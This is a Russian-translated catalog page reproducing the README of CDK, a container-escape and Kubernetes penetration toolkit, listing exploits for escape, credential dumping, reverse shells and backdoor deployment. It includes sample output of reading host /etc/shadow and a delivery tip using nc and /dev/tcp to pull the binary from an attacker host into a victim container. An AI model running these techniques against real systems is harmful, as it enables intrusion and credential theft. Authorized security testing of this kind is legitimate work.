CDK

Cloud & Container Security v1.5.6 · 23.02.2026 активный

Инструмент для атак изнутри скомпрометированного контейнера (container escape). Автоматически определяет runtime (Docker/containerd/CRI-O), ищет пути побега: privileged mode, exposed Docker socket, runc CVE. Включает модули для CVE-2019-5736, CVE-2022-0847 (DirtyPipe).

v1.5.6
23.02.2026 current

Установка
# Скачать статичный бинарник (работает внутри минимального контейнера)
https://github.com/cdk-team/CDK/releases
./cdk evaluate --full
показать оригинал переведено ИИ

CDK - Инструментальный набор для проникновения в контейнеры без зависимостей

English | Китайский (упрощённый)

png

Юридическая оговорка

Использование CDK для атаки на цели без предварительного взаимного согласия является незаконным. CDK предназначен исключительно для тестирования безопасности.

Обзор

CDK — это инструментальный набор для проникновения в контейнеры с открытым исходным кодом, разработанный для обеспечения стабильной эксплуатации в различных урезанных контейнерах без какой-либо зависимости от операционной системы. Он включает полезные сетевые утилиты и множество мощных PoC/EXP, помогая вам легко выйти из контейнера и взять под контроль кластер K8s.

Быстрый старт

Запустите cdk eva, чтобы получить информацию оценки и рекомендуемую эксплойт, затем запустите cdk run, чтобы начать атаку.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Установка/доставка

Скачайте последний релиз по ссылке https://github.com/cdk-team/CDK/releases/

Поместите исполняемые файлы в целевой контейнер и начните тестирование.

СОВЕТЫ: Доставка CDK в целевой контейнер при реальном тестировании на проникновение

Если у вас есть эксплойт, позволяющий загружать файлы, вы можете напрямую загрузить бинарный файл CDK.

Если у вас есть эксплойт для удаленного выполнения кода (RCE), но в целевом контейнере нет команд curl или wget, вы можете использовать следующий способ для доставки CDK:

  1. Сначала разместите бинарный файл CDK на вашем хосте с публичным IP.
(on your host)
nc -lvp 999 < cdk
  1. Внутри контейнера-жертвы выполните
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Использование

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

Возможности

CDK имеет три модуля:

  1. Evaluate (Оценка): сбор информации внутри контейнера для поиска потенциальных уязвимостей.
  2. Exploit (Эксплойт): для побега из контейнера, закрепления в системе и горизонтального перемещения.
  3. Tool (Инструмент): сетевые утилиты и API для TCP/HTTP-запросов, туннелей и управления кластером K8s.

Модуль «Оценка»

Использование

cdk evaluate [--full]
Тактики Скрипт Поддерживается Использование/Пример
Сбор информации Базовая информация об ОС ✔ ссылка
Сбор информации Доступные возможности (Capabilities) ✔ ссылка
Сбор информации Доступные Linux команды ✔ ссылка
Сбор информации Точки монтирования (Mounts) ✔ ссылка
Сбор информации Сетевое пространство имён (Net Namespace) ✔ ссылка
Сбор информации Чувствительные переменные окружения (ENV) ✔ ссылка
Сбор информации Чувствительные процессы ✔ ссылка
Сбор информации Чувствительные локальные файлы ✔ ссылка
Сбор информации Kube-proxy Route Localnet (CVE-2020-8558) ✔ ссылка
Сбор информации Обнаружение сервисов на основе DNS ✔ ссылка
Обнаружение Информация о K8s Api-server ✔ ссылка
Обнаружение Информация о K8s Service-account ✔ ссылка
Обнаружение API метаданных облачного провайдера ✔ ссылка

Модуль «Эксплойт»

Вывести список всех доступных эксплойтов:

cdk run --list

Запустить целевой эксплойт:

cdk run <script-name> [options]
Тактика Техника Имя эксплойта в CDK Поддерживается В тонком контейнере Документация
Побег docker-runc CVE-2019-5736 runc-pwn ✔ ✔
Побег containerd-shim CVE-2020-15257 shim-pwn ✔ ссылка
Побег docker.sock PoC (атака DIND) docker-sock-check ✔ ✔ ссылка
Побег docker.sock RCE docker-sock-pwn ✔ ✔ ссылка
Побег Docker API(2375) RCE docker-api-pwn ✔ ✔ ссылка
Побег Побег через монтирование устройства mount-disk ✔ ✔ ссылка
Побег Побег через LXCFS lxcfs-rw ✔ ✔ ссылка
Побег Побег через Cgroups mount-cgroup ✔ ✔ ссылка
Побег Злоупотребление привилегированным пространством имён пользователя (CVE-2022-0492) abuse-unpriv-userns ✔ ✔ ссылка
Побег Побег через Procfs mount-procfs ✔ ✔ ссылка
Побег PoC побега через Ptrace check-ptrace ✔ ✔ ссылка
Побег Перезапись Cgroup (devices.allow) rewrite-cgroup-devices ✔ ✔ ссылка
Побег Чтение произвольного файла с хоста (CAP_DAC_READ_SEARCH) cap-dac-read-search ✔ ✔ ссылка
Обнаружение Зондирование компонентов K8s service-probe ✔ ✔ ссылка
Обнаружение Дамп метаданных бокового контейнера Istio istio-check ✔ ✔ ссылка
Обнаружение Дамп политик безопасности подов K8s k8s-psp-dump ✔ ссылка
Дистанционное управление Обратная оболочка (Reverse Shell) reverse-shell ✔ ✔ ссылка
Дистанционное управление Выполнение через Kubelet kubelet-exec ✔ ✔
Доступ к учётным данным Брутфорс реестра контейнеров registry-brute ✔ ✔ ссылка
Доступ к учётным данным Сканирование ключей доступа ak-leakage ✔ ✔ ссылка
Доступ к учётным данным Получение токена Kubernetes через Etcd etcd-get-k8s-token ✔ ✔
Доступ к учётным данным Дамп секретов Kubernetes k8s-secret-dump ✔ ✔ ссылка
Доступ к учётным данным Дамп конфигураций Kubernetes k8s-configmap-dump ✔ ✔ ссылка
Повышение привилегий Обход RBAC в Kubernetes k8s-get-sa-token ✔ ✔ ссылка
Повышение привилегий CVE-2026-31431 copy-fail (только для non-root→root & x86_64) copy-fail-cve-2026-31431 ✔ ссылка
Закрепление Развёртывание веб-шелла webshell-deploy ✔ ✔ ссылка
Закрепление Развёртывание пода-задней двери k8s-backdoor-daemonset ✔ ✔ ссылка
Закрепление Развёртывание теневого API-сервера Kubernetes k8s-shadow-apiserver ✔ ссылка
Закрепление MITM-атака в Kubernetes (CVE-2020-8554) k8s-mitm-clusterip ✔ ✔ ссылка
Закрепление Развёртывание CronJob в Kubernetes k8s-cronjob ✔ ✔ ссылка

Примечание о тонком (Thin) сборке: Тонкая сборка подготовлена для контейнеров с коротким временем жизни, таких как функции без сервера. Мы добавляем метки сборки в исходный код и исключаем некоторые эксплойты, чтобы сделать бинарный файл легче. 2-мегабайтный файл содержит 90% функций CDK, и вы также можете выбрать полезные эксплойты из исходного кода CDK для сборки собственного легковесного бинарного файла.

Модуль инструментов

Запуск команд аналогичен Linux, с небольшими различиями в аргументах ввода, см. ссылку на использование.

cdk nc [options]
cdk ps
Команда Описание Поддерживается Использование/Пример
nc TCP-туннель ✔ ссылка
ps Информация о процессах ✔ ссылка
netstat Аналог команды "netstat -antup" ✔
ifconfig Сетевая информация ✔ ссылка
vi Редактирование файлов ✔ ссылка
ectl Несанкционированный перечень ключей etcd ✔
kcurl Запрос к API-серверу Kubernetes ✔ ссылка
dcurl Запрос к HTTP API Docker ✔ ссылка
ucurl Запрос к Unix-сокету Docker ✔ ссылка
rcurl Запрос к API Docker Registry
probe Сканирование IP/Портов ✔ ссылка

Документация о сборке

Если вы хотите узнать, как мы выпустили новую версию, как создается тонкая сборка, почему мы предоставляем версии с UPX, каковы различия между различными версиями (all, normal, thin, upx) и как выбрать конкретные эксплойты и инструменты CDK для компиляции собственной сборки, ознакомьтесь с документацией о сборке.

Документация для разработчиков

Вклад в CDK

Прежде всего, спасибо, что нашли время внести свой вклад!

Благодарим следующих контрибьюторов:

Больше контрибьюторов: Список контрибьюторов

Сообщение об ошибках

Ошибки отслеживаются как GitHub Issues. Создайте проблему, указав текущую версию CDK, сообщение об ошибке и среду. Опишите точные шаги для воспроизведения проблемы.

Предложение улучшений

Предложения по улучшению отслеживаются в GitHub Discussions. Вы можете опубликовать любые мысли здесь, чтобы обсудить их напрямую с разработчиками.

Pull-requests

Исправление проблем или поддержание качества CDK:

  • Опишите текущую версию CDK, среду, проблему и точные шаги для воспроизведения проблемы.
  • Скриншоты или журналы до и после исправления проблемы.

Новая функциональность или эксплойты:

  • Объясните, почему это улучшение будет полезно другим пользователям.
  • Пожалуйста, предоставьте работосреду для проверки вкладов.
  • Скриншоты работы новой функции.
  • Если вы добавляете новый скрипт для оценки/эксплойта, добавьте краткую документацию в сообщение PR, вот пример.

Мероприятия

404StarLink 2.0 - Galaxy

png

Проект CDK теперь включен в Starlink Project 2.0 от 404Team. Присоединяйтесь к сообществу StarLink, чтобы связаться с командой разработчиков CDK.

BlackHat Asia 2021 Arsenal

HITB SecConf 2021 Amsterdam

WHC 2021 (Бутянская конференция белых шляп)

KCON 2021 Arsenal

Kubernetes community Days 2021

Войдите, чтобы оставить комментарий